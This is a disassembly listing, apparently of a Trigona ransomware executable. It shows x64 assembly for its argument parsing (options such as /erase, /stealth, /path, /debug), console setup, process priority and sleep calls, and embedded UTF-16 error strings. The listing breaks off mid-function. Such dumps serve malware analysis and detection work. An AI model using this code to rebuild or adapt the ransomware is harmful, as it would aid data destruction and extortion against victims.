File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    00450f50
    00450f50fn_450f50:
    00450f50push rbp
    00450f51sub rsp, 48
    00450f55mov rbp, rsp
    00450f58mov [rbp+40], 0
    00450f60nop
    00450f61mov rax, [rip+0x13070]
    00450f68mov [rax+768], 0
    00450f6fmov [rip+0x1f833], 1
    00450f79jmp 0x450fd8
    00450f7b
    00450f7bloc_450f7b:
    00450f7blea rcx, [rbp+40]
    00450f7fmov edx, [rip+0x1f827]
    00450f85call fn_405df0
    00450f8amov rcx, [rbp+40]
    00450f8elea rdx, [rip+143]
    00450f95call fn_40dc90
    00450f9atest eax, eax
    00450f9cjne 0x450fd1
    00450f9emov rax, [rip+0x13033]
    00450fa5mov [rax+768], 1
    00450facmov rax, [rip+0x13025]
    00450fb3lea rcx, [rax+760]
    00450fbamov edx, [rip+0x1f7ec]
    00450fc0add edx, 1
    00450fc3call fn_405df0
    00450fc8add [rip+0x1f7dd], 2
    00450fcfjmp 0x450fd8
    00450fd1
    00450fd1loc_450fd1:
    00450fd1add [rip+0x1f7d4], 1
    00450fd8
    00450fd8loc_450fd8:
    00450fd8call fn_405d70
    00450fddcmp [rip+0x1f7c9], eax
    00450fe3jle 0x450f7b
    00450fe5nop
    00450fe6lea rcx, [rbp+40]
    00450feacall fn_40bcf0
    00450feflea rsp, [rbp+48]
    00450ff3pop rbp
    00450ff4ret
    00450f50
    00450ff5
    00450ff5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
    00451000
    00451000fn_451000:
    00451000push rbp
    00451001sub rsp, 32
    00451005mov rbp, rsp
    00451008lea rcx, [rdx+40]
    0045100ccall fn_40bcf0
    00451011lea rsp, [rbp+32]
    00451015pop rbp
    00451016ret
    00451000
    00451017
    00451017 00 b0 04 02 00 ff ff ff ff .........
    00451020 06 00 00 00 2f 00 6c 00 6f 00 67 00 5f 00 66 00 ..../.l.o.g._.f.
    00451030 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
    00451040
    00451040fn_451040:
    00451040push rbp
    00451041push rdi
    00451042push rsi
    00451043push rbx
    00451044sub rsp, 88
    00451048mov rbp, rsp
    0045104bmov [rbp+48], 0
    00451053mov [rbp+56], 0
    0045105bmov [rbp+64], 0
    00451063mov [rbp+72], 0
    0045106bnop
    0045106cmov al, 1
    0045106emov [rbp+47], al
    00451071mov rax, [rip+0x12f48]
    00451078mov [rax+308], 0
    0045107fmov rax, [rip+0x12f3a]
    00451086mov [rax+309], 0
    0045108dxor ebx, ebx
    0045108fxor esi, esi
    00451092xor edi, edi
    00451095mov [rip+0x1f70d], 1
    0045109fjmp 0x45113f
    004510a4
    004510a4loc_4510a4:
    004510a4lea rcx, [rbp+72]
    004510a8mov edx, [rip+0x1f6fe]
    004510aecall fn_405df0
    004510b3mov rcx, [rbp+72]
    004510b7lea rdx, [rip+378]
    004510becall fn_40dc90
    004510c3test eax, eax
    004510c5jne 0x4510c9
    004510c7mov bl, 1
    004510c9
    004510c9loc_4510c9:
    004510c9lea rcx, [rbp+64]
    004510cdmov edx, [rip+0x1f6d9]
    004510d3call fn_405df0
    004510d8mov rcx, [rbp+64]
    004510dclea rdx, [rip+369]
    004510e3call fn_40dc90
    004510e8test eax, eax
    004510eaje 0x45110f
    004510eclea rcx, [rbp+56]
    004510f0mov edx, [rip+0x1f6b6]
    004510f6call fn_405df0
    004510fbmov rcx, [rbp+56]
    004510fflea rdx, [rip+354]
    00451106call fn_40dc90
    0045110btest eax, eax
    0045110djne 0x451112
    0045110f
    0045110floc_45110f:
    0045110fmov sil, 1
    00451112
    00451112loc_451112:
    00451112lea rcx, [rbp+48]
    00451116mov edx, [rip+0x1f690]
    0045111ccall fn_405df0
    00451121mov rcx, [rbp+48]
    00451125lea rdx, [rip+340]
    0045112ccall fn_40dc90
    00451131test eax, eax
    00451133jne 0x451138
    00451135mov dil, 1
    00451138
    00451138loc_451138:
    00451138add [rip+0x1f66d], 1
    0045113f
    0045113floc_45113f:
    0045113fcall fn_405d70
    00451144cmp [rip+0x1f662], eax
    0045114ajle 0x4510a4
    00451150test bl, bl
    00451152je 0x4511e8
    00451158mov rax, [rip+0x12e61]
    0045115fmov [rax+308], 1
    00451166mov rax, [rip+0x12e53]
    0045116dmov [rax+309], 1
    00451174call AllocConsole
    00451179test sil, sil
    0045117cjne 0x4511b0
    0045117exor eax, eax
    00451180mov [rbp+47], al
    00451183lea rcx, [rip+274]
    0045118axor edx, edx
    0045118ccall fn_439060
    00451191lea rcx, [rip+420]
    00451198xor edx, edx
    0045119acall fn_439060
    0045119fmov rcx, [rip+0x12f0a]
    004511a6call fn_4078c0
    004511abcall fn_405a40
    004511b0
    004511b0loc_4511b0:
    004511b0test dil, dil
    004511b3je 0x4511e7
    004511b5xor eax, eax
    004511b7mov [rbp+47], al
    004511balea rcx, [rip+447]
    004511c1xor edx, edx
    004511c3call fn_439060
    004511c8lea rcx, [rip+365]
    004511cfxor edx, edx
    004511d1call fn_439060
    004511d6mov rcx, [rip+0x12ed3]
    004511ddcall fn_4078c0
    004511e2call fn_405a40
    004511e7
    004511e7loc_4511e7:
    004511e7nop
    004511e8
    004511e8loc_4511e8:
    004511e8lea rcx, [rbp+48]
    004511ecmov edx, 4
    004511f1call fn_40bdd0
    004511f6movzx rax, [rbp+47]
    004511fblea rsp, [rbp+88]
    004511ffpop rbx
    00451200pop rsi
    00451201pop rdi
    00451202pop rbp
    00451203ret
    00451040
    00451204
    00451204 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    00451210
    00451210fn_451210:
    00451210push rbp
    00451211sub rsp, 32
    00451215mov rbp, rsp
    00451218lea rcx, [rdx+48]
    0045121cmov edx, 4
    00451221call fn_40bdd0
    00451226lea rsp, [rbp+32]
    0045122apop rbp
    0045122bret
    00451210
    0045122c
    0045122c b0 04 02 00 ....
    00451230 ff ff ff ff 06 00 00 00 2f 00 64 00 65 00 62 00 ......../.d.e.b.
    00451240 75 00 67 00 00 00 00 00 b0 04 02 00 ff ff ff ff u.g.............
    00451250 02 00 00 00 2f 00 70 00 00 00 00 00 b0 04 02 00 ..../.p.........
    00451260 ff ff ff ff 05 00 00 00 2f 00 70 00 61 00 74 00 ......../.p.a.t.
    00451270 68 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 h...............
    00451280 2f 00 65 00 72 00 61 00 73 00 65 00 00 00 00 00 /.e.r.a.s.e.....
    00451290 b0 04 02 00 ff ff ff ff 49 00 00 00 45 00 52 00 ........I...E.R.
    004512a0 52 00 4f 00 52 00 3a 00 20 00 2f 00 64 00 65 00 R.O.R.:. ./.d.e.
    004512b0 62 00 75 00 67 00 20 00 6f 00 70 00 74 00 69 00 b.u.g. .o.p.t.i.
    004512c0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
    004512d0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
    004512e0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
    004512f0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
    00451300 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
    00451310 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
    00451320 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
    00451330 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
    00451340 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
    00451350 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
    00451360 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
    00451370 00 00 00 00 b0 04 02 00 ff ff ff ff 4a 00 00 00 ............J...
    00451380 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 2f 00 E.R.R.O.R.:. ./.
    00451390 64 00 65 00 62 00 75 00 67 00 20 00 6f 00 70 00 d.e.b.u.g. .o.p.
    004513a0 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6e 00 t.i.o.n. .c.a.n.
    004513b0 27 00 74 00 20 00 62 00 65 00 20 00 75 00 73 00 '.t. .b.e. .u.s.
    004513c0 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 e.d. .w.i.t.h. .
    004513d0 2f 00 65 00 72 00 61 00 73 00 65 00 20 00 6f 00 /.e.r.a.s.e. .o.
    004513e0 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 50 00 p.t.i.o.n... .P.
    004513f0 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 74 00 r.o.c.e.s.s. .t.
    00451400 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
    00451410 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc d...............
    00451420
    00451420fn_451420:
    00451420sub rsp, 40
    00451424mov rax, [rip+0x12b95]
    0045142bcmp [rax+308], 0
    00451432jne 0x451447
    00451434mov rax, [rip+0x12b85]
    0045143bmov [rax+308], 1
    00451442call AllocConsole
    00451447
    00451447loc_451447:
    00451447lea rcx, [rip+58]
    0045144exor edx, edx
    00451450call fn_439060
    00451455lea rcx, [rip+208]
    0045145cxor edx, edx
    0045145ecall fn_439060
    00451463mov rcx, [rip+0x12c46]
    0045146acall fn_4078c0
    0045146fcall fn_405a40
    00451474add rsp, 40
    00451478ret
    00451420
    00451479
    00451479 00 00 00 b0 04 02 00 .......
    00451480 ff ff ff ff 4b 00 00 00 45 00 52 00 52 00 4f 00 ....K...E.R.R.O.
    00451490 52 00 3a 00 20 00 2f 00 73 00 74 00 65 00 61 00 R.:. ./.s.t.e.a.
    004514a0 6c 00 74 00 68 00 20 00 6f 00 70 00 74 00 69 00 l.t.h. .o.p.t.i.
    004514b0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
    004514c0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
    004514d0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
    004514e0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
    004514f0 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
    00451500 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
    00451510 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
    00451520 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
    00451530 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
    00451540 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
    00451550 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
    00451560 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
    00451570
    00451570Unit60.finalization:
    00451570ret
    00451570
    00451571
    00451571 // align 0x10
    00451580
    00451580Project1:
    00451580push rbp
    00451581sub rsp, 592
    00451588mov rbp, rsp
    0045158bmov [rbp+80], 0
    00451593mov [rbp+72], 0
    0045159bmov [rbp+96], 0
    004515a3mov [rbp+88], 0
    004515abmov [rbp+112], 0
    004515b3mov [rbp+104], 0
    004515bbmov [rbp+128], 0
    004515c6mov [rbp+120], 0
    004515cemov [rbp+144], 0
    004515d9mov [rbp+136], 0
    004515e4mov [rbp+152], 0
    004515efmov [rbp+168], 0
    004515famov [rbp+160], 0
    00451605mov [rbp+176], 0
    00451610mov [rbp+184], 0
    0045161bmov [rbp+192], 0
    00451626mov [rbp+200], 0
    00451631mov [rbp+208], 0
    0045163cmov [rbp+224], 0
    00451647mov [rbp+216], 0
    00451652mov [rbp+232], 0
    0045165dmov [rbp+248], 0
    00451668mov [rbp+240], 0
    00451673mov [rbp+256], 0
    0045167emov [rbp+264], 0
    00451689mov [rbp+272], 0
    00451694mov [rbp+280], 0
    0045169fmov [rbp+288], 0
    004516aamov [rbp+296], 0
    004516b5mov [rbp+304], 0
    004516c0mov [rbp+312], 0
    004516cbmov [rbp+320], 0
    004516d6mov [rbp+328], 0
    004516e1mov [rbp+336], 0
    004516ecmov [rbp+352], 0
    004516f7mov [rbp+344], 0
    00451702mov [rbp+360], 0
    0045170dmov [rbp+368], 0
    00451718mov [rbp+376], 0
    00451723mov [rbp+384], 0
    0045172emov [rbp+392], 0
    00451739mov [rbp+408], 0
    00451744mov [rbp+400], 0
    0045174fmov [rbp+424], 0
    0045175amov [rbp+416], 0
    00451765mov [rbp+432], 0
    00451770mov [rbp+440], 0
    0045177bmov [rbp+448], 0
    00451786mov [rbp+456], 0
    00451791mov [rbp+464], 0
    0045179cmov [rbp+472], 0
    004517a7mov [rbp+480], 0
    004517b2mov [rbp+488], 0
    004517bdmov [rbp+496], 0
    004517c8mov [rbp+504], 0
    004517d3mov [rbp+512], 0
    004517demov [rbp+520], 0
    004517e9mov [rbp+528], 0
    004517f4mov [rbp+536], 0
    004517ffmov [rbp+544], 0
    0045180amov [rbp+552], 0
    00451815mov [rbp+584], 0
    00451820mov [rbp+576], 0
    0045182bmov [rbp+568], 0
    00451836mov [rbp+560], 0
    00451841nop
    00451842lea rcx, [rip+9455]
    00451849call fn_415220
    0045184enop
    0045184fcall fn_4343c0
    00451854call fn_450f50
    00451859call fn_451040
    0045185etest al, al
    00451860je 0x4530dc
    00451866mov rax, [rip+0x12753]
    0045186dcmp [rax+308], 0
    00451874je 0x451893
    00451876mov rax, [rip+0x1275b]
    0045187dcmp [rax+768], 0
    00451884je 0x451893
    00451886call fn_438c40
    0045188btest al, al
    0045188dje 0x4530dc
    00451893
    00451893loc_451893:
    00451893mov rax, [rip+0x12726]
    0045189acmp [rax+308], 0
    004518a1je 0x4518c6
    004518a3lea rcx, [rip+6706]
    004518aamov dl, 1
    004518accall fn_439060
    004518b1xor ecx, ecx
    004518b3call fn_4392a0
    004518b8lea rcx, [rip+6737]
    004518bfmov dl, 1
    004518c1call fn_439060
    004518c6
    004518c6loc_4518c6:
    004518c6call GetCurrentProcessId
    004518cbmov ecx, eax
    004518cdmov edx, 128
    004518d2call SetPriorityClass
    004518d7call fn_450ed0
    004518dcmov ecx, 10
    004518e1call fn_405e80
    004518e6mov ecx, eax
    004518e8imul ecx, ecx, 1000
    004518eeadd ecx, 1000
    004518f4call Sleep
    004518f9call fn_425d00
    004518femov rax, [rip+0x126bb]
    00451905movsd_xmm [rax+744], x0
    0045190dmov ecx, 1
    00451912call SetErrorMode
    00451917mov rax, [rip+0x126a2]
    0045191ecmp [rax+308], 0
    00451925je 0x45193c
    00451927lea rcx, [rip+6658]
    0045192emov dl, 1
    00451930call fn_439060
    00451935xor ecx, ecx
    00451937call fn_4392a0
    0045193c
    0045193cloc_45193c:
    0045193ccall fn_4343e0
    00451941mov rax, [rip+0x12678]
    00451948cmp [rax+308], 0
    0045194fje 0x4519ff
    00451955lea rcx, [rbp+576]
    0045195cmov rax, [rip+0x1265d]
    00451963movzx rdx, [rax+8]
    00451968call fn_4225b0
    0045196dlea rcx, [rbp+568]
    00451974mov rax, [rip+0x12645]
    0045197bmovzx rdx, [rax+9]
    00451980call fn_4225b0
    00451985lea rcx, [rbp+560]
    0045198cmov rax, [rip+0x1262d]
    00451993mov edx, [rax+12]
    00451996call fn_4225f0
    0045199blea rcx, [rbp+584]
    004519a2mov edx, 6
    004519a7lea r8, [rip+6574]
    004519aemov r9, [rbp+576]
    004519b5lea rax, [rip+6592]
    004519bcmov [rsp+32], rax
    004519c1mov rax, [rbp+568]
    004519c8mov [rsp+40], rax
    004519cdlea rax, [rip+6568]
    004519d4mov [rsp+48], rax
    004519d9mov rax, [rbp+560]
    004519e0mov [rsp+56], rax
    004519e5call fn_40dbb0
    004519eamov rcx, [rbp+584]
    004519f1mov dl, 1
    004519f3call fn_439060
    004519f8xor ecx, ecx
    004519facall fn_4392a0
    004519ff
    004519ffloc_4519ff:
    004519ffmov rax, [rip+0x125ba]
    00451a06cmp [rax+308], 0
    00451a0dje 0x451a24
    00451a0flea rcx, [rip+6518]
    00451a16mov dl, 1
    00451a18call fn_439060
    00451a1dxor ecx, ecx
    00451a1fcall fn_4392a0
    00451a24
    00451a24loc_451a24:
    00451a24call fn_437fd0
    00451a29test al, al
    00451a2bjne 0x451a5b
    00451a2dmov rax, [rip+0x1258c]
    00451a34cmp [rax+308], 0
    00451a3bje 0x4530dc
    00451a41lea rcx, [rip+6508]
    00451a48mov dl, 1
    00451a4acall fn_439060
    00451a4fxor ecx, ecx
    00451a51call fn_4392a0
    00451a56jmp 0x4530dc
    00451a5b
    00451a5bloc_451a5b:
    00451a5bmov rax, [rip+0x1255e]
    00451a62cmp [rax+308], 0
    00451a69je 0x451a79
    00451a6blea rcx, [rip+6570]
    00451a72mov dl, 1
    00451a74call fn_439060
    00451a79
    00451a79loc_451a79:
    00451a79call fn_405d70
    00451a7ecmp eax, 1
    00451a81jne 0x451ac8
    00451a83lea rcx, [rbp+552]
    00451a8amov edx, 1
    00451a8fcall fn_405df0
    00451a94mov rcx, [rbp+552]
    00451a9bcall fn_4503e0
    00451aa0test al, al
    00451aa2jne 0x451ac8
    00451aa4lea rcx, [rbp+544]
    00451aabmov edx, 1
    00451ab0call fn_405df0
    00451ab5mov rcx, [rip+0x123ec]
    00451abcmov rdx, [rbp+544]
    00451ac3call fn_40d850
    00451ac8
    00451ac8loc_451ac8:
    00451ac8mov [rip+0x1ecda], 1
    00451ad2jmp 0x4524d7
    00451ad7
    00451ad7loc_451ad7:
    00451ad7lea rcx, [rbp+536]
    00451ademov edx, [rip+0x1ecc8]
    00451ae4call fn_405df0
    00451ae9mov rcx, [rbp+536]
    00451af0lea rdx, [rip+6477]
    00451af7call fn_40dc90
    00451afctest eax, eax
    00451afejne 0x451b28
    00451b00mov rax, [rip+0x124b9]
    00451b07mov [rax+321], 1
    00451b0emov rax, [rip+0x124ab]
    00451b15mov [rax+313], 0
    00451b1cadd [rip+0x1ec89], 1
    00451b23jmp 0x4524d7
    00451b28
    00451b28loc_451b28:
    00451b28lea rcx, [rbp+528]
    00451b2fmov edx, [rip+0x1ec77]
    00451b35call fn_405df0
    00451b3amov rcx, [rbp+528]
    00451b41lea rdx, [rip+6428]
    00451b48call fn_40dc90
    00451b4dtest eax, eax
    00451b4fjne 0x451bc2
    00451b51add [rip+0x1ec54], 1
    00451b58jmp 0x451baf
    00451b5a
    00451b5aloc_451b5a:
    00451b5alea rcx, [rbp+520]
    00451b61mov edx, [rip+0x1ec45]
    00451b67call fn_405df0
    00451b6cmov rcx, [rbp+520]
    00451b73call fn_4503e0
    00451b78test al, al
    00451b7ajne 0x451bbc
    00451b7clea rcx, [rbp+512]
    00451b83mov edx, [rip+0x1ec23]
    00451b89call fn_405df0
    00451b8emov rax, [rip+0x1242b]
    00451b95mov rcx, [rax+776]
    00451b9cmov rdx, [rbp+512]
    00451ba3call TSimpleStringList.Add
    00451ba8add [rip+0x1ebfd], 1
    00451baf
    00451bafloc_451baf:
    00451bafcall fn_405d70
    00451bb4cmp [rip+0x1ebf2], eax
    00451bbajle 0x451b5a
    00451bbc
    00451bbcloc_451bbc:
    00451bbcnop
    00451bbdjmp 0x4524d7
    00451bc2
    00451bc2loc_451bc2:
    00451bc2lea rcx, [rbp+504]
    00451bc9mov edx, [rip+0x1ebdd]
    00451bcfcall fn_405df0
    00451bd4mov rcx, [rbp+504]
    00451bdblea rdx, [rip+6298]
    00451be2call fn_40dc90
    00451be7test eax, eax
    00451be9jne 0x451c5c
    00451bebadd [rip+0x1ebba], 1
    00451bf2jmp 0x451c49
    00451bf4
    00451bf4loc_451bf4:
    00451bf4lea rcx, [rbp+496]
    00451bfbmov edx, [rip+0x1ebab]
    00451c01call fn_405df0
    00451c06mov rcx, [rbp+496]
    00451c0dcall fn_4503e0
    00451c12test al, al
    00451c14jne 0x451c56
    00451c16lea rcx, [rbp+488]
    00451c1dmov edx, [rip+0x1eb89]
    00451c23call fn_405df0
    00451c28mov rax, [rip+0x12391]
    00451c2fmov rcx, [rax+768]
    00451c36mov rdx, [rbp+488]
    00451c3dcall TSimpleStringList.Add
    00451c42add [rip+0x1eb63], 1
    00451c49
    00451c49loc_451c49:
    00451c49call fn_405d70
    00451c4ecmp [rip+0x1eb58], eax
    00451c54jle 0x451bf4
    00451c56
    00451c56loc_451c56:
    00451c56nop
    00451c57jmp 0x4524d7
    00451c5c
    00451c5cloc_451c5c:
    00451c5clea rcx, [rbp+480]
    00451c63mov edx, [rip+0x1eb43]
    00451c69call fn_405df0
    00451c6emov rcx, [rbp+480]
    00451c75lea rdx, [rip+6176]
    00451c7ccall fn_40dc90
    00451c81test eax, eax
    00451c83jne 0x451cf3
    00451c85add [rip+0x1eb20], 1
    00451c8cjmp 0x451ce0
    00451c8e
    00451c8eloc_451c8e:
    00451c8elea rcx, [rbp+472]
    00451c95mov edx, [rip+0x1eb11]
    00451c9bcall fn_405df0
    00451ca0mov rcx, [rbp+472]
    00451ca7call fn_4503e0
    00451cactest al, al
    00451caejne 0x451ced
    00451cb0lea rcx, [rbp+464]
    00451cb7mov edx, [rip+0x1eaef]
    00451cbdcall fn_405df0
    00451cc2mov rax, [rip+0x122f7]
    00451cc9mov rcx, [rax+64]
    00451ccdmov rdx, [rbp+464]
    00451cd4call TSimpleStringList.Add
    00451cd9add [rip+0x1eacc], 1
    00451ce0
    00451ce0loc_451ce0:
    00451ce0call fn_405d70
    00451ce5cmp [rip+0x1eac1], eax
    00451cebjle 0x451c8e
    00451ced
    00451cedloc_451ced:
    00451cednop
    00451ceejmp 0x4524d7
    00451cf3
    00451cf3loc_451cf3:
    00451cf3lea rcx, [rbp+456]
    00451cfamov edx, [rip+0x1eaac]
    00451d00call fn_405df0
    00451d05mov rcx, [rbp+456]
    00451d0clea rdx, [rip+6045]
    00451d13call fn_40dc90
    00451d18test eax, eax
    00451d1ajne 0x451d38
    00451d1cmov rax, [rip+0x1229d]
    00451d23mov rcx, [rax+64]
    00451d27call TSimpleStringList.Clear
    00451d2cadd [rip+0x1ea79], 1
    00451d33jmp 0x4524d7
    00451d38
    00451d38loc_451d38:
    00451d38lea rcx, [rbp+448]
    00451d3fmov edx, [rip+0x1ea67]
    00451d45call fn_405df0
    00451d4amov rcx, [rbp+448]
    00451d51lea rdx, [rip+6020]
    00451d58call fn_40dc90
    00451d5dtest eax, eax
    00451d5fjne 0x451d7b
    00451d61mov rax, [rip+0x12258]
    00451d68mov [rax+302], 1
    00451d6fadd [rip+0x1ea36], 1
    00451d76jmp 0x4524d7
    00451d7b
    00451d7bloc_451d7b:
    00451d7blea rcx, [rbp+440]
    00451d82mov edx, [rip+0x1ea24]
    00451d88call fn_405df0
    00451d8dmov rcx, [rbp+440]
    00451d94lea rdx, [rip+5981]
    00451d9bcall fn_40dc90
    00451da0test eax, eax
    00451da2jne 0x451dbe
    00451da4mov rax, [rip+0x12215]
    00451dabmov [rax+313], 0
    00451db2add [rip+0x1e9f3], 1
    00451db9jmp 0x4524d7
    00451dbe
    00451dbeloc_451dbe:
    00451dbelea rcx, [rbp+432]
    00451dc5mov edx, [rip+0x1e9e1]
    00451dcbcall fn_405df0
    00451dd0mov rcx, [rbp+432]
    00451dd7lea rdx, [rip+5950]
    00451ddecall fn_40dc90
    00451de3test eax, eax
    00451de5jne 0x451ebe
    00451debmov rax, [rip+0x121ce]
    00451df2mov [rax+305], 0
    00451df9mov rax, [rip+0x121c0]
    00451e00mov [rax+306], 0
    00451e07lea rcx, [rbp+424]
    00451e0emov edx, [rip+0x1e998]
    00451e14add edx, 1
    00451e17call fn_405df0
    00451e1clea rcx, [rbp+416]
    00451e23mov rdx, [rbp+424]
    00451e2axor r8, r8
    00451e2dcall fn_40cff0
    00451e32mov rcx, [rbp+416]
    00451e39call fn_4307b0
    00451e3etest al, al
    00451e40je 0x451e94
    00451e42lea rcx, [rbp+408]
    00451e49mov edx, [rip+0x1e95d]
    00451e4fadd edx, 1
    00451e52call fn_405df0
    00451e57lea rcx, [rbp+400]
    00451e5emov rdx, [rbp+408]
    00451e65call fn_40d850
    00451e6amov rcx, [rbp+400]
    00451e71mov edx, 10
    00451e76mov r8l, 1
    00451e7cmov r9l, 100
    00451e82call fn_450df0
    00451e87mov rcx, [rip+0x12132]
    00451e8emov [rcx+314], al
    00451e94
    00451e94loc_451e94:
    00451e94mov rax, [rip+0x12125]
    00451e9bcmp [rax+314], 100
    00451ea2jne 0x451eb2
    00451ea4mov rax, [rip+0x12115]
    00451eabmov [rax+305], 1
    00451eb2
    00451eb2loc_451eb2:
    00451eb2add [rip+0x1e8f3], 2
    00451eb9jmp 0x4524d7
    00451ebe
    00451ebeloc_451ebe:
    00451ebelea rcx, [rbp+392]
    00451ec5mov edx, [rip+0x1e8e1]
    00451ecbcall fn_405df0
    00451ed0mov rcx, [rbp+392]
    00451ed7lea rdx, [rip+5722]
    00451edecall fn_40dc90
    00451ee3test eax, eax
    00451ee5jne 0x451f7d
    00451eebmov rax, [rip+0x120ce]
    00451ef2mov [rax+311], 1
    00451ef9mov rax, [rip+0x120c0]
    00451f00mov rcx, [rax+760]
    00451f07call TSimpleStringList.Clear
    00451f0cadd [rip+0x1e899], 1
    00451f13jmp 0x451f6a
    00451f15
    00451f15loc_451f15:
    00451f15lea rcx, [rbp+384]
    00451f1cmov edx, [rip+0x1e88a]
    00451f22call fn_405df0
    00451f27mov rcx, [rbp+384]
    00451f2ecall fn_4503e0
    00451f33test al, al
    00451f35jne 0x451f77
    00451f37lea rcx, [rbp+376]
    00451f3emov edx, [rip+0x1e868]
    00451f44call fn_405df0
    00451f49mov rax, [rip+0x12070]
    00451f50mov rcx, [rax+760]
    00451f57mov rdx, [rbp+376]
    00451f5ecall TSimpleStringList.Add
    00451f63add [rip+0x1e842], 1
    00451f6a
    00451f6aloc_451f6a:
    00451f6acall fn_405d70
    00451f6fcmp [rip+0x1e837], eax
    00451f75jle 0x451f15
    00451f77
    00451f77loc_451f77:
    00451f77nop
    00451f78jmp 0x4524d7
    00451f7d
    00451f7dloc_451f7d:
    00451f7dlea rcx, [rbp+368]
    00451f84mov edx, [rip+0x1e822]
    00451f8acall fn_405df0
    00451f8fmov rcx, [rbp+368]
    00451f96lea rdx, [rip+5555]
    00451f9dcall fn_40dc90
    00451fa2test eax, eax
    00451fa4jne 0x451fc0
    00451fa6mov rax, [rip+0x12013]
    00451fadmov [rax+312], 0
    00451fb4add [rip+0x1e7f1], 1
    00451fbbjmp 0x4524d7
    00451fc0
    00451fc0loc_451fc0:
    00451fc0lea rcx, [rbp+360]
    00451fc7mov edx, [rip+0x1e7df]
    00451fcdcall fn_405df0
    00451fd2mov rcx, [rbp+360]
    00451fd9lea rdx, [rip+5532]
    00451fe0call fn_40dc90
    00451fe5test eax, eax
    00451fe7jne 0x45205e
    00451fe9lea rcx, [rbp+352]
    00451ff0mov edx, [rip+0x1e7b6]
    00451ff6add edx, 1
    00451ff9call fn_405df0
    00451ffelea rcx, [rbp+344]
    00452005mov rdx, [rbp+352]
    0045200cxor r8, r8
    0045200fcall fn_40cff0
    00452014mov rcx, [rbp+344]
    0045201bcall fn_4307b0
    00452020test al, al
    00452022je 0x452052
    00452024lea rcx, [rbp+336]
    0045202bmov edx, [rip+0x1e77b]
    00452031add edx, 1
    00452034call fn_405df0
    00452039mov rcx, [rbp+336]
    00452040call fn_4228a0
    00452045mov rcx, [rip+0x11f74]
    0045204cmov [rcx+144], eax
    00452052
    00452052loc_452052:
    00452052add [rip+0x1e753], 2
    00452059jmp 0x4524d7
    0045205e
    0045205eloc_45205e:
    0045205elea rcx, [rbp+328]
    00452065mov edx, [rip+0x1e741]
    0045206bcall fn_405df0
    00452070mov rcx, [rbp+328]
    00452077lea rdx, [rip+5402]
    0045207ecall fn_40dc90
    00452083test eax, eax
    00452085jne 0x452093
    00452087add [rip+0x1e71e], 2
    0045208ejmp 0x4524d7
    00452093
    00452093loc_452093:
    00452093lea rcx, [rbp+320]
    0045209amov edx, [rip+0x1e70c]
    004520a0call fn_405df0
    004520a5mov rcx, [rbp+320]
    004520aclea rdx, [rip+5377]
    004520b3call fn_40dc90
    004520b8test eax, eax
    004520bajne 0x4520c8
    004520bcadd [rip+0x1e6e9], 1
    004520c3jmp 0x4524d7
    004520c8
    004520c8loc_4520c8:
    004520c8lea rcx, [rbp+312]
    004520cfmov edx, [rip+0x1e6d7]
    004520d5call fn_405df0
    004520damov rcx, [rbp+312]
    004520e1lea rdx, [rip+5352]
    004520e8call fn_40dc90
    004520edtest eax, eax
    004520efjne 0x45210b
    004520f1mov rax, [rip+0x11ec8]
    004520f8mov [rax+310], 0
    004520ffadd [rip+0x1e6a6], 1
    00452106jmp 0x4524d7
    0045210b
    0045210bloc_45210b:
    0045210blea rcx, [rbp+304]
    00452112mov edx, [rip+0x1e694]
    00452118call fn_405df0
    0045211dmov rcx, [rbp+304]
    00452124lea rdx, [rip+5325]
    0045212bcall fn_40dc90
    00452130test eax, eax
    00452132jne 0x45214e
    00452134mov rax, [rip+0x11e85]
    0045213bmov [rax+301], 1
    00452142add [rip+0x1e663], 1
    00452149jmp 0x4524d7
    0045214e
    0045214eloc_45214e:
    0045214elea rcx, [rbp+296]
